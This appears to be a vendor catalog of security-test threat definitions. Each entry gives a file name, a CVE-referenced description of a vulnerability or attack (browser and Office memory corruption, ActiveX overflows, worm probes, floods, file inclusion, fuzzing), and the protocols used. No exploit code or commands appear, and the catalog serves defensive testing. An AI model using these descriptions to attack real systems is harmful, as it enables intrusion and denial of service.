Threat File Name:	FSC20080902-19_VMware_COM_API_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	VMware COM API ActiveX Control Buffer Overflow
Detailed Description:	A buffer overflow vulnerability is reported in VMware COM API. The vulnerability is due to a improper error handling while processing arguments passed to the "GuestInfo()" method of an ActiveX Control. A remote attacker could exploit the vulnerability by enticing the target user to visit a malicious web page. It is reported that successful exploitation would allow for arbitrary code injection and execution. The research performed by Assurent did not find any evidence of probable arbitrary code execution associated with this vulnerability.
Protocol Type:	HTTP
CVEID:	CVE-2008-3892
Threat Package:	Standard
Threat File Name:	TSL20161213-18_Microsoft_Edge_CVE-2016-7286_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Edge CVE-2016-7286 Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Edge. The vulnerability is due to improper use of objects in memory. A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted web page. Successful exploitation of this vulnerability could allow the attacker to execute arbitrary code with the privileges of the browser.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-7286
Threat File Name:	FSC20081014-18_Microsoft_Excel_FRTWrapper_Record_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Excel FRTWrapper Record Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel product. The vulnerability is specifically due to improper parsing of Excel documents containing specially crafted FRTWrapper records. Remote attackers can exploit this vulnerability by enticing target users to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3471
Threat Package:	Standard
Threat File Name:	TSL20161213-22_Microsoft_Office_CVE-2016-7289_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office CVE-2016-7289 Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported Microsoft Office software. The vulnerability are due to improper handling of certain objects in memory. A remote attacker could exploit the vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
CVEID:	CVE-2016-7289
Threat File Name:	FSC20070508-19_Microsoft_Excel_Set_Font_Handling_Code_Execution.xml
Executive Description:	Microsoft Excel Set Font Handling Code Execution
Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient boundary checking while processing FBI (Font Basis Info) record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-1203
Threat Package:	Standard
Threat File Name:	lupper12.xml
Executive Description:	Lupper Worm 12
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	suncomm_ax.xml
Executive Description:	AxWebRemoveCtrl ActiveX control for uninstalling the SunnComm MediaMax DRM allows remote execution.
Detailed Description:	This threat serves an html page designed to test for the presence of the exploitable ActiveX control.
Protocol Type:	HTTP
CVEID:	CVE-2005-3693
OSVDB:	20950
Threat Package:	Standard
Threat File Name:	TSL20170314-17_Microsoft_Windows_DirectShow_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows DirectShow Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Windows DirectShow. The vulnerability is due incorrect handling of objects in memory by DirectShow. A remote attacker can exploit this vulnerability by enticing a user to open a web page with crafted content. Successful exploitation can lead to disclosure of sensitive information of the target system.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0042
Threat File Name:	sipnameltgt_IPv6.xml
Executive Description:	SIPPING: Name-Addr URI Not in <> (IPv6 Version)

Detailed Description:	This threat sends out a SIP REGISTER message with an escaped Contact header not enclosed in <>. This is invalid, and since it is unexpected it may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20111011-22_Microsoft_Internet_Explorer_Body_Element_Use-After-Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Body Element Use-After-Free (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer (IE). The vulnerability is due to a use-after-free vulnerability when processing the BODY element. A remote attacker can exploit this vulnerability by enticing a target user to visit a crafted web page in IE. Successful exploitation could result in execution of arbitrary code in the target user's security context. An unsuccessful exploitation attempt may result in the abnormal termination of the affected IE process.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMB/CIFS, SMTP
CVEID:	CVE-2011-2000
Threat File Name:	nimda4_IPv6.xml
Executive Description:	Nimda Request URL 4 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20111116-07_InduSoft_Web_Studio_Unauthenticated_Insecure_Remote_Operations_IPv6.xml
Executive Description:	InduSoft Web Studio Unauthenticated Insecure Remote Operations (IPv6 Version)
Detailed Description:	A code execution vulnerability has been identified in the Remote Agent component of InduSoft Web Studio. The vulnerability is due to the absence of authentication for incoming requests to the Remote Agent service. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted requests to the vulnerable service. In the event of a successful attack, attacker code will be executed in the security context of the target user.
Protocol Type:	IPv6, over port 4322/TCP
CVEID:	CVE-2011-4051
Threat File Name:	TSL20170609-02_VideoLan_VLC_Media_Player_ParseJSS_Heap_Buffer_Overflow.xml
Executive Description:	VideoLan VLC Media Player ParseJSS Heap Buffer Overflow
Detailed Description:	A heap-based buffer overflow has been reported in VLC Media Player. The vulnerability is due to improper handling of certain directives in JACOsub subtitle files. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted subtitle file. Successful exploitation could result in arbitrary code execution in the context of the user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-2017-8311
Threat File Name:	land_IPv6.xml
Executive Description:	Land Attack (IPv6 Version)
Detailed Description:	This threat sends a spoofed TCP SYN packet with the same source and destination IP and port. This causes the target machine to potentially respond in an undesirable way. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-1999-0016
OSVDB:	14789
Threat Package:	Standard
Threat File Name:	TSL20150715-26_Microsoft_Internet_Explorer_CVE_2015_2391_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2391 Memory Corruption IPv6 version
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS, IPv6
CVEID:	CVE-2015-2391
Threat File Name:	xoops_lfi_IPv6.xml
Executive Description:	XOOPS Mainfile.PHP Local File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which allows arbitrary inclusion of PHP or HTML code. This may allow unauthorized users to view files and to execute local scripts. An attacker may also be able to execute arbitrary code by way of uploaded avatars. XOOPS is a web application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	25683
Threat Package:	Standard
Threat File Name:	TSL20170112-12_Aerospike_Database_Server_as_sindex__simatch_by_iname_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Aerospike Database Server as_sindex__simatch_by_iname Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Aerospike Database Server. This vulnerability is due to improper bounds checking of user-supplied index name variable in as_sindex__simatch_by_iname() function in secondary_index.c. A remote attacker could exploit these vulnerabilities by sending a maliciously crafted packet to the vulnerable server. Successful exploitation of these vulnerabilities could lead to arbitrary code execution.
Protocol Type:	Aerospike Database Server, IPv6
CVEID:	CVE-2016-9052
Threat File Name:	fuzz-HTTP_AppendformatsToOPTION_IPv6.xml
Executive Description:	Fuzz HTTP OPTION appended by %s (IPv6 Version)
Detailed Description:	Fuzzes the Method field appending by %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing

Threat File Name:	wmf_extCreateRegion.xml
Executive Description:	Microsoft GRE ExtCreateRegion Memory Corruption
Detailed Description:	This attack corrupts the memory of Microsoft's picture and fax viewer application. This version simply causes a crash, however it might be possible through manipulation of the heap to create an exploit out of this flaw. This flaw is different from CVE-2006-0106. This attack comes from a webserver, which typically listens on port 80. This is a client side attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2006-0143
OSVDB:	22371
Threat Package:	Standard
Threat File Name:	hasbani_http_crash.xml
Executive Description:	Hasbani embedded HTTP server crash
Detailed Description:	This threat is a denial of service against the Hasbani embedded HTTP server. This attack is against a standard http service which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3475
OSVDB:	20447
Threat Package:	Standard
Threat File Name:	TSL20130725-11_HP_LoadRunner_WriteFileString_Directory_Traversal_IPv6.xml
Executive Description:	HP LoadRunner WriteFileString Directory Traversal [IPv6, Version]
Detailed Description:	A directory traversal and file overwrite vulnerability exists in HP LoadRunner. The vulnerability is caused by the WriteFileString() method which fails to validate the filename parameter. This allows the creation of new files and overwriting of system files, possibly resulting in code execution. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2013-4798
OSVDB:	95642
Threat File Name:	TSL20091013-29_Microsoft_Windows_GDIplus_WMF_Integer_Overflow.xml
Executive Description:	Microsoft Windows GDIplus WMF Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows GDI+ library. The vulnerability is due to an input validation error in Microsoft Windows while processing a crafted WMF image file. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted WMF image file in the vulnerable products. Successful exploitation would cause a heap buffer overflow that may lead to arbitrary code execution in the security context of the logged in user, or terminate the application resulting in a Denial of Service condition.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-2500
OSVDB:	MS09-062
Threat File Name:	ms05-038_random_IPv6.xml
Executive Description:	MS05-038 Internet Explorer JPEG Image Corruption random (IPv6 Version)
Detailed Description:	This threat causes a crash in Internet Explorer. It is caused by the downloading of a malformed JPEG image from a webserver. Web servers typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1988
OSVDB:	18610
Threat Package:	Standard
Threat File Name:	FSC20080716-03_Oracle_Database_Server_DBMS_AQELM_Package_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Database Server DBMS_AQELM Package Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow in Oracle Database Server. The vulnerability is due to improper input validation of parameters sent to a procedure in the DBMS_AQELM package. A remote authenticated attacker can exploit this vulnerability by sending a specially crafted SQL statement to the target server, potentially causing database corruption or arbitrary code injection and execution with the privileges of the affected process. (IPv6 Version)
Protocol Type:	NCUBE-LM/IPv6
CVEID:	CVE-2008-2607
Threat Package:	Standard
Threat File Name:	FSC20090512-11_Microsoft_Office_PowerPoint_95_Format_Sound_Object_Buffer_Overflow.xml
Executive Description:	Microsoft Office PowerPoint 95 Format Sound Object Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PowerPoint. The flaw is due to accessing records for embedded sound in malicious PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	HTTP/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1128
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-TRACE_PrepndHTTPWithformats.xml
Executive Description:	Fuzz HTTP TRACE with Request-URI prepended with %s
Detailed Description:	Fuzzes the Request-URI field by prepending %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20110617-02_Microsoft_Internet_Explorer_CElement_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CElement Memory Corruption (IPv6 Version)

Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to a use-after-free error while handling <object> tags in HTML files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious webpage, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1256
Threat File Name:	FSC20110208-45_Microsoft_Windows_Shell_Graphics_Thumbnail_Image_Integer_Overflow.xml
Executive Description:	Microsoft Windows Shell Graphics Thumbnail Image Integer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Windows Shell Graphics Processing. The vulnerability is due to an integer overflow error when processing a width value of a thumbnail image. An attacker can exploit this vulnerability by enticing a user to handle a specially crafted file. The file could be embedded in Office documents or a .MIC file. This vulnerability may be triggered by previewing the malicious file in thumbnail view. Successful exploitation could lead to arbitrary code execution. Note that CVE-2010-3970 covers two different vulnerabilities. This report covers the integer overflow announced by iDefense whereas FSC20110104-03 covers the stack buffer overflow.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2010-3970
Threat File Name:	winamp_wma_dos_IPv6.xml
Executive Description:	Nullsoft Winamp Malformed Playlist File WMA Extension Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses an emulated web server to deliver a malformed WMA file that may crash a vulnerable winamp media player. Winamp is a client application, this threat delivers the payload via port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3188
OSVDB:	22975
Threat Package:	Standard
Threat File Name:	sippercentnotesc.xml
Executive Description:	SIPPING: % Not Used as Escape
Detailed Description:	This threat sends out a SIP message with the percent character (%) used but not as an escape. Since this is not common (but is legal), SIP implementations may try to parse it as a character escape and encounter unexpected behavior.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20131205-09_Cisco_Prime_Data_Center_Network_Manager_DownloadServlet_Information_Disclosure_IPv6.xml
Executive Description:	Cisco Prime Data Center Network Manager DownloadServlet Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in Cisco Prime Data Center Network Manager. The vulnerability is due to lack of authentication and insufficient input validation in <DownloadServlet> when processing HTTP requests. A remote unauthenticated attacker can download arbitrary files from arbitrary locations. This can be leveraged to obtain sensitive information from a target system.
Protocol Type:	HTTP,IPV6
CVEID:	CVE-2013-5487
OSVDB:	97428
Threat File Name:	TSL20150202-01_Microsoft_Internet_Explorer_Same-Origin_Policy_Bypass_IPv6.xml
Executive Description:	Microsoft Internet Explorer Same Origin Policy Bypass IPv6 version.
Detailed Description:	A same-origin policy bypass vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to error in updating origin data. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a web page. Successful exploitation can result in the disclosure of information about other web pages opened by the user or stored in the browser cache.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-0072
OSVDB:	117876
Threat File Name:	TSL20120530-05_Cisco_WebEx_Recording_Format_Player_atd12006_dll_Integer_Overflow_IPV6.xml
Executive Description:	Cisco WebEx Recording Format Player atd12006.dll Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to a buffer overflow when WRF player handles WRF files. A remote attacker can leverage this vulnerability by crafting a WRF file and enticing a target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	TSL20130412-05_Nagios_Remote_Plugin_Executor_Arbitrary_Command_Execution_IPv6.xml
Executive Description:	Nagios Remote Plugin Executor Arbitrary Command Execution(IPV6 version)
Detailed Description:	A command execution vulnerability has been found in Nagios Remote Plugin Executor. The vulnerability is due to insufficient validation of user-provided parameters against shell metacharacters. A remote, unauthenticated attacker could exploit this vulnerability to execute arbitrary commands on the vulnerable machine with the privileges of the affected service.
Protocol Type:	IPV6,Nagios NRPE Protocol,Nagios SSL NRPE Protocol
CVEID:	CVE-2013-1362
OSVDB:	90582
Threat File Name:	http_get_bat_IPv6.xml
Executive Description:	HTTP Request for Microsoft Batch File (IPv6 Version)
Detailed Description:	This threat is an HTTP request for a .BAT file. While not unusual by itself, it can represent either the execution of strange remote code, or an attempted download of malware. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard

Threat File Name:	floodICMPDFwhenfragsneeded.xml
Executive Description:	ICMP DF when Frags Needed Flood
Detailed Description:	This threat sends out an ICMP DF when Frags Needed flood. In many implementations, this can cause a "hard error" for a TCP connection, terminating it. TCP stacks should ignore this message if path MTU discovery is not enabled, but many do not. By continuously sending these packets, this can cause a denial of service on the target.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	vicftps_cwd_bof_IPv6.xml
Executive Description:	VicFTPs Server CWD Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a large CWD command string to cause a denial of service condition or execute code via stack overflow. VicFTPS server listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	acronym_mod_rfi_IPv6.xml
Executive Description:	Acronym Mod Admin Acronyms.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. PhpBB Acronym Mod is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040420-02_Microsoft_RPCSS_Denial_of_Service.xml
Executive Description:	Microsoft RPCSS Denial of Service
Detailed Description:	Due to incorrect handling of malformed RPC packets, a function in the RPCSS service that is responsible for the allocation of memory can be exploited remotely to exhaust all available memory on a vulnerable system. The RPCSS service is the Remote Procedure Call service running on Windows computers.
Protocol Type:	DCERPC
CVEID:	CVE-2004-0116
Threat Package:	Standard
Threat File Name:	malformedLengthIP_IPv6.xml
Executive Description:	Malformed Random IP Packet Length (IPv6 Version)
Detailed Description:	This threat sends IP packets with the IP length field set to a random value. Can cause buffer overruns and other potential problems in poor stack implementations. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2004-1432
OSVDB:	8149
Threat Package:	Standard
Threat File Name:	fenice_oms_bof.xml
Executive Description:	Fenice OMS 1.10 (long get request) Remote Buffer Overflow Exploit
Detailed Description:	This threat sends a crafted HTTP GET query which contains an excessively long buffer which triggers a buffer overflow situation. Fenice OMS is a web based application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140812-20_Microsoft_Internet_Explorer_CVE-2014-2824_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-2824 Memory Corruption IPv6 Version
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS, IPv6
CVEID:	CVE-2014-2824
OSVDB:	109955
Threat File Name:	TSL20170713-06_Apache_httpd_ap_find_token_Out_of_Bounds_Read.xml
Executive Description:	Apache httpd ap_find_token Out of Bounds Read
Detailed Description:	An out-of-bounds read vulnerability has been reported in Apache HTTP server. This vulnerability is due to improper token list parsing in the ap_find_token() function. A remote, unauthenticated attacker could exploit the vulnerability by sending maliciously crafted HTTP request to the affected server. Successful exploitation of the vulnerability could lead to denial of service conditions.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2017-7668
Threat File Name:	icmpNetmask.xml
Executive Description:	ICMP Netmask Flood
Detailed Description:	The remote host will reply to an ICMP netmask request with the netmask of the network. By falsifying the source of the request and flooding the target a denial of service for legitimate users can take place through resource exhaustion. An alternate usage of this threat would be for a remote user who can use this information to gain insight into the routing configuration of the targeted network.
Protocol Type:	ICMP
CVEID:	CVE-1999-0524
OSVDB:	95
Threat Package:	Standard
Threat File Name:	bootpBufferOverflow_IPv6.xml
Executive Description:	Malformed BOOTP Buffer Overflow (IPv6 Version)
Detailed Description:	This attack is executed by sending a the Solaris DHCP server a malformed BOOTP packet. The EDHCP daemon will crash when receiving BOOTP packets which contain a non-null value for the client IP address. This will result in a denial of service for legitimate users requesting an IP address. (IPv6 Version)
Protocol Type:	BOOTP/IPv6
Threat Package:	Standard

Threat File Name:	FSC20110119-01_Google_Chrome_Uninitialized_bug_report_Pointer_Code_Execution.xml
Executive Description:	Google Chrome Uninitialized bug_report Pointer Code Execution
Detailed Description:	A code execution vulnerability has been reported in Google Chrome. The vulnerability is due to accessing an uninitialized memory during processing of URLs with rouge extensions. More specifically, it is due to an invalid write in the browser process when trying to delete an invalid bug_report_pointer. An attacker can leverage this vulnerability by enticing a target user to open a crafted web file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	linuxBufferExp_IPv6.xml
Executive Description:	Linux Buffer Exposure (IPv6 Version)
Detailed Description:	This exploit exposes an issue in the ICMP request protocol which occurs when sending ICMP requests that are smaller than the minimum frame size to a user specified host. Ethernet packets must be 64 bytes in length and will be padded with zeros to ensure this. When the packet is smaller than the minimum size this will result in the packet being padded with information off of the host's buffer which may contain sensitive information. This information can be, but is not limited to, user passwords and login information, and recent user activities. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2003-0001
OSVDB:	3873
Threat Package:	Standard
Threat File Name:	firefoxFavIconInjec.xml
Executive Description:	Firefox favicon.ico Javascript Injection
Detailed Description:	This threat exploits a Javascript injection problem in Mozilla Firefox. This specifies the HREF element inside of a tag for the favorite icon as a block of Javascript, which can run under the privileges of the user browsing the web. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1155
OSVDB:	15686
Threat Package:	Standard
Threat File Name:	tinyidentd_bof_IPv6.xml
Executive Description:	TinyIdentD <= 2.2 Remote Buffer Overflow Exploit (IPv6 Version)
Detailed Description:	This threat is a standard buffer overflow for TinyIdentD, this threat is delivered via IDENTD port 113. (IPv6 Version)
Protocol Type:	IDENT/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090728-14_ISC_BIND_9_Dynamic_Update_Request_Denial_of_Service.xml
Executive Description:	ISC BIND 9 Dynamic Update Request Denial of Service
Detailed Description:	There is a denial of service vulnerability in ISC BIND 9. This vulnerability is due to an error when ISC BIND 9 handles dynamic update messages. An unprivileged remote attacker can exploit this flaw by sending malicious dynamic update requests to a target DNS server. Successful exploitation would cause a denial of service condition.
Protocol Type:	DNS
CVEID:	CVE-2009-0696
Threat Package:	Standard
Threat File Name:	FSC20071211-15_Microsoft_Internet_Explorer_DOM_Object_Cache_Management_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer DOM Object Cache Management Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles uninitialized or removed objects. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-5344
Threat Package:	Standard
Threat File Name:	TSL20111031-03_Apple_Safari_WebKit_Form_Elements_Pure_Virtual_Function_Call_IPv6.xml
Executive Description:	Apple Safari WebKit Form Elements Pure Virtual Function Call(IPV6 VERSION)
Detailed Description:	A memory access error vulnerability exists within Apple WebKit, a component of Apple Safari and iOS, as well as Apple iTunes. The vulnerability is due to improper initialization of DOM objects for form= attributes. Remote attackers may exploit this vulnerability by enticing target users to visit a specially crafted web page. Successful exploitation would crash the browser resulting in denial-of-service condition. Note that code execution possibility has not been confirmed.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-2813
Threat File Name:	http_delete.xml
Executive Description:	HTTP DELETE Method Attempt
Detailed Description:	This threat attempts to make use of the DELETE method, which is used to remove a file from an HTTP server. The file it attempts to remove is /index.html
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140610-23_Microsoft_Internet_Explorer_CVE-2014-0282_CInput_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0282 CInput Use After Free(IPv6 Version)
Detailed Description:	A use after free vulnerability exists in Internet Explorer. The vulnerability is due to accessing a freed CInput object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0282
OSVDB:	107851
Threat File Name:	TSL20131210-14_IBM_Forms_Viewer_XFDL_Form_Processing_Stack_Buffer_Overflow.xml

Executive Description:	IBM Forms Viewer XFDL Form Processing Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in IBM Forms Viewer. The vulnerability is due to an error when processing XFDL forms and can be exploited to cause a stack-based buffer overflow. A remote unauthenticated attacker can exploit the vulnerability by enticing a user to open a specifically crafted form. Successful exploitation of the vulnerability would result in the execution of arbitrary code within the security context of the currently logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-5447
OSVDB:	100732
Threat File Name:	TSL20130211-05_IBM_Java_java_lang_ClassLoader_defineClass_Sandbox_Breach_IPv6.xml
Executive Description:	IBM Java java.lang.ClassLoader.defineClass Sandbox Breach(IPv6 Version)
Detailed Description:	A sandbox breach vulnerability exists in IBM Java. The vulnerability is due to insecure use of the java.lang.ClassLoader.defineClass method by IBM Java packages. An unauthenticated remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. Successful exploitation can result in the execution of arbitrary Java code outside the sandbox.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-4823
OSVDB:	87301
Threat File Name:	FSC20090522-06_Novell_GroupWise_Internet_Agent_Email_Address_Processing_Buffer_Overflow.xml
Executive Description:	Novell GroupWise Internet Agent Email Address Processing Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in the Novell GroupWise. The vulnerability is due to an error while processing specially crafted SMTP requests. Remote attackers can exploit this vulnerability to execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with the security privileges of the server. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	SMTP
CVEID:	CVE-2009-1636
Threat Package:	Standard
Threat File Name:	cwb_pro_rfi_IPv6.xml
Executive Description:	CWB PRO Version 1.5(INCLUDE_PATH)Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. CWB Pro is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1513
Threat Package:	Standard
Threat File Name:	gtchat_file.xml
Executive Description:	GTChat Arbitrary File Read
Detailed Description:	This threat allows a user to read an arbitrary file located on the webserver. This is performed by sending a malicious URL request that affects the GTChat web application. GTChat typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170314-41_Microsoft_Windows_SMB_Server_SMBv1_CVE-2017-0143_Memory_Corruption.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 CVE-2017-0143 Memory Corruption
Detailed Description:	A remote code execution vulnerability has been reported in the SMBv1 component of Microsoft Windows SMB server. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted SMBv1 messages to a target server. Successful exploitation could result in remote code execution.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-0143
Threat File Name:	firefoxPluginsInjection.xml
Executive Description:	Firefox Plugins Code Injection
Detailed Description:	This threat attempts to inject code through the embed tag supported by the Mozilla browser. Allows a malicious web page to execute code with the permissions of the web browser. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0752
OSVDB:	15683
Threat Package:	Standard
Threat File Name:	TSL20150421-12_Novell_ZENworks_Configuration_Management_Rtrlet_Directory_Traversal_IPv6.xml
Executive Description:	Novell ZENworks Configuration Management Rtrlet Directory Traversal IPv6 version.
Detailed Description:	A directory traversal vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's Rtrlet.classRemote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with administrative privileges.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2015-0781
OSVDB:	121154
Threat File Name:	imap_buffer_overflow_1025.xml
Executive Description:	IMAP Buffer Overflow [1025] Attack
Detailed Description:	This generic threat sends a long buffer [1025 bytes] against an IMAP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	IMAP
Threat Package:	Standard
